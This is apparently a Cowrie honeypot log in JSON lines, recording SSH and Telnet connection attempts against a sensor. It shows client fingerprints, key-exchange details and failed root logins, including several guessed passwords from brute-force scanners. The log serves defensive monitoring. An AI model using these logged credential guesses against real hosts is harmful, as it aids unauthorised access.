{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:e0:34:5c:c1:0e:2f:6b:39:5a:5d:a1:6a:71:56:71","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM49IB9rIjNiBqhqq77wPHlb7r9HM7dYBoov9L2A+i4l","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 1a:e0:34:5c:c1:0e:2f:6b:39:5a:5d:a1:6a:71:56:71","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:24.254746Z","src_ip":"94.250.61.10","session":"85760c57aae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:e0:34:5c:c1:0e:2f:6b:39:5a:5d:a1:6a:71:56:71","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM49IB9rIjNiBqhqq77wPHlb7r9HM7dYBoov9L2A+i4l","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:24.258465Z","src_ip":"94.250.61.10","session":"85760c57aae1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:a7:29:18:b6:54:3d:70:fc:a6:72:c6:38:9e:e8:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTreeVImUMr+kywNSBQWN7G57kLXwMFuPhUzq0CS8pKsDeo4FI3xHGyxqSd8CYN8UgG7rjryWRmU/dKRk6dOEEPfVpuxMDsACX1jKvpPNR44oNwIHBMgPnbNJdDyWx0GOjdJtCObWg9McRAoCSkDwya6i3AFvU7kvLusJY1KhoM1x46s0H+G+lSsRJ1JIamukN+bTlRw2xjCWZWWeaw7VR5v0gUIiVYmcZ7ciFSuky8PdzUHTpXwyUFdiKQVUSv+v49aHEN7oHuJIYvNksw6v/BHuBr17EF9g0ACZOaXU/Dh4RoiQOJBRBU4l2gcTfyU6crgIhaO2T+WCdMi6eTuTb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:a7:29:18:b6:54:3d:70:fc:a6:72:c6:38:9e:e8:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:24.680642Z","src_ip":"94.250.61.10","session":"85760c57aae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:a7:29:18:b6:54:3d:70:fc:a6:72:c6:38:9e:e8:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTreeVImUMr+kywNSBQWN7G57kLXwMFuPhUzq0CS8pKsDeo4FI3xHGyxqSd8CYN8UgG7rjryWRmU/dKRk6dOEEPfVpuxMDsACX1jKvpPNR44oNwIHBMgPnbNJdDyWx0GOjdJtCObWg9McRAoCSkDwya6i3AFvU7kvLusJY1KhoM1x46s0H+G+lSsRJ1JIamukN+bTlRw2xjCWZWWeaw7VR5v0gUIiVYmcZ7ciFSuky8PdzUHTpXwyUFdiKQVUSv+v49aHEN7oHuJIYvNksw6v/BHuBr17EF9g0ACZOaXU/Dh4RoiQOJBRBU4l2gcTfyU6crgIhaO2T+WCdMi6eTuTb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:24.684619Z","src_ip":"94.250.61.10","session":"85760c57aae1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:c4:7b:a9:72:32:87:67:c4:17:a7:0a:7a:4e:bf:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJAFbneEZNbgBse+H3eYkkPsZsl6DC5dwdyXl6AzVeH4Ob1uItLX60YfG+0FWsNv2KlB54FhLRbyjSnnOFDtojayG/hpTs680pRU2TPIq2wET6U3U+9JdjS8DTU2yJFXca9UL5GldaSiDwvCssMil7M8co6rHNQzOXrZ7Hk/PjdatNv/32idjX4XwDlp/+BywKYbG8MfE9NbC429qI4EfyMzVqV/PKAWfyCbhRavksbaE4aVRYCM5n/ILDhq4gCHpNzTtp4Wvw9K1lkjZReOZCuaSuv7OkbsJ3z1iDg9px0xuFbTMYtD1YE2YY82l54V133tcf1nsOobZGSalRhjIF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:c4:7b:a9:72:32:87:67:c4:17:a7:0a:7a:4e:bf:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:24.799226Z","src_ip":"94.250.61.10","session":"85760c57aae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:c4:7b:a9:72:32:87:67:c4:17:a7:0a:7a:4e:bf:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJAFbneEZNbgBse+H3eYkkPsZsl6DC5dwdyXl6AzVeH4Ob1uItLX60YfG+0FWsNv2KlB54FhLRbyjSnnOFDtojayG/hpTs680pRU2TPIq2wET6U3U+9JdjS8DTU2yJFXca9UL5GldaSiDwvCssMil7M8co6rHNQzOXrZ7Hk/PjdatNv/32idjX4XwDlp/+BywKYbG8MfE9NbC429qI4EfyMzVqV/PKAWfyCbhRavksbaE4aVRYCM5n/ILDhq4gCHpNzTtp4Wvw9K1lkjZReOZCuaSuv7OkbsJ3z1iDg9px0xuFbTMYtD1YE2YY82l54V133tcf1nsOobZGSalRhjIF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:24.803376Z","src_ip":"94.250.61.10","session":"85760c57aae1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:d9:f9:0a:d2:73:ba:f7:41:77:a4:ba:df:ba:d8:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNqHrPQItTOyev1q6gTdiPzGjAAtIj9HhsbyZlK8XpEKxdI550u0o7cAO+dhW8+i+AgUDqDiDP3ypeTSVTZBG4e4kduW7O5pZS11lVRoV9363BZSbcS2W/+ib3XzKt9hcr9hdO4FnodKDQ7mmC1X36TBCFxGx+SEtgngx1T/Piy0KKUm5KWiPf6PDa4tKTCKCYNIgc9AYiq+OtEzZdH6HNfoSYtwKxSn/6kCgTLbmExX/ytkYJ2Y5uC4iauHB0xzDI7j7UUa0B08WTL+4kH0FklQtyU09R4vTpdcqvvWyyn16KhHVY+QoR/6DwCOlHRwhEXQ7vaH5t0Jk2QFM4eobd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:d9:f9:0a:d2:73:ba:f7:41:77:a4:ba:df:ba:d8:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:24.913523Z","src_ip":"94.250.61.10","session":"85760c57aae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:d9:f9:0a:d2:73:ba:f7:41:77:a4:ba:df:ba:d8:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNqHrPQItTOyev1q6gTdiPzGjAAtIj9HhsbyZlK8XpEKxdI550u0o7cAO+dhW8+i+AgUDqDiDP3ypeTSVTZBG4e4kduW7O5pZS11lVRoV9363BZSbcS2W/+ib3XzKt9hcr9hdO4FnodKDQ7mmC1X36TBCFxGx+SEtgngx1T/Piy0KKUm5KWiPf6PDa4tKTCKCYNIgc9AYiq+OtEzZdH6HNfoSYtwKxSn/6kCgTLbmExX/ytkYJ2Y5uC4iauHB0xzDI7j7UUa0B08WTL+4kH0FklQtyU09R4vTpdcqvvWyyn16KhHVY+QoR/6DwCOlHRwhEXQ7vaH5t0Jk2QFM4eobd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:24.916685Z","src_ip":"94.250.61.10","session":"85760c57aae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:25.027695Z","src_ip":"94.250.61.10","session":"85760c57aae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01117753982544,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:35.086948Z","src_ip":"212.55.149.117","session":"44fed52f9721","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":11600,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbaf488c0464","protocol":"telnet","message":"New connection: 212.55.149.117:11600 (10.17.0.5:23) [session: bbaf488c0464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:52:49.649290Z"}
{"eventid":"cowrie.session.closed","duration":60.29175686836243,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:53:49.940943Z","src_ip":"212.55.149.117","session":"bbaf488c0464","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":5854,"dst_ip":"159.203.135.109","dst_port":22,"session":"14eb89ad088b","protocol":"ssh","message":"New connection: 193.24.211.100:5854 (159.203.135.109:22) [session: 14eb89ad088b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:54:02.894871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:54:02.901428Z","src_ip":"193.24.211.100","session":"14eb89ad088b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:54:03.013399Z","src_ip":"193.24.211.100","session":"14eb89ad088b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password0000","message":"login attempt [root/password0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:54:03.433707Z","src_ip":"193.24.211.100","session":"14eb89ad088b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:54:04.545080Z","src_ip":"193.24.211.100","session":"14eb89ad088b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":58774,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fc857c0aab2","protocol":"ssh","message":"New connection: 103.15.226.202:58774 (10.17.0.5:22) [session: 9fc857c0aab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:55:49.482452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:55:49.487112Z","src_ip":"103.15.226.202","session":"9fc857c0aab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:55:49.738434Z","src_ip":"103.15.226.202","session":"9fc857c0aab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzidc!@#$QWER","message":"login attempt [root/zzidc!@#$QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:55:50.478237Z","src_ip":"103.15.226.202","session":"9fc857c0aab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:55:51.728886Z","src_ip":"103.15.226.202","session":"9fc857c0aab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":58048,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b1d1aeeeda5","protocol":"ssh","message":"New connection: 103.15.226.202:58048 (10.17.0.5:22) [session: 6b1d1aeeeda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:59:25.607647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:59:25.611831Z","src_ip":"103.15.226.202","session":"6b1d1aeeeda5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:59:25.869088Z","src_ip":"103.15.226.202","session":"6b1d1aeeeda5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p4$$w0rd123456","message":"login attempt [root/p4$$w0rd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:59:26.623602Z","src_ip":"103.15.226.202","session":"6b1d1aeeeda5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:59:27.875998Z","src_ip":"103.15.226.202","session":"6b1d1aeeeda5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.89.124.218","src_port":47966,"dst_ip":"159.203.135.109","dst_port":22,"session":"92e8e7ee91ee","protocol":"ssh","message":"New connection: 13.89.124.218:47966 (159.203.135.109:22) [session: 92e8e7ee91ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:59:49.606479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:59:49.627126Z","src_ip":"13.89.124.218","session":"92e8e7ee91ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:59:49.643883Z","src_ip":"13.89.124.218","session":"92e8e7ee91ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.89.124.218","src_port":47978,"dst_ip":"159.203.135.109","dst_port":22,"session":"88136ef3fc21","protocol":"ssh","message":"New connection: 13.89.124.218:47978 (159.203.135.109:22) [session: 88136ef3fc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:59:49.753711Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:59:49.769686Z","src_ip":"13.89.124.218","session":"88136ef3fc21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:59:49.774380Z","src_ip":"13.89.124.218","session":"88136ef3fc21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T19:59:59.627917Z","src_ip":"13.89.124.218","session":"92e8e7ee91ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.146.52","src_port":59740,"dst_ip":"10.17.0.5","dst_port":22,"session":"86a866d40c36","protocol":"ssh","message":"New connection: 45.148.146.52:59740 (10.17.0.5:22) [session: 86a866d40c36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:20.359638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:20.366217Z","src_ip":"45.148.146.52","session":"86a866d40c36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:00:20.457407Z","src_ip":"45.148.146.52","session":"86a866d40c36","protocol":"ssh"}
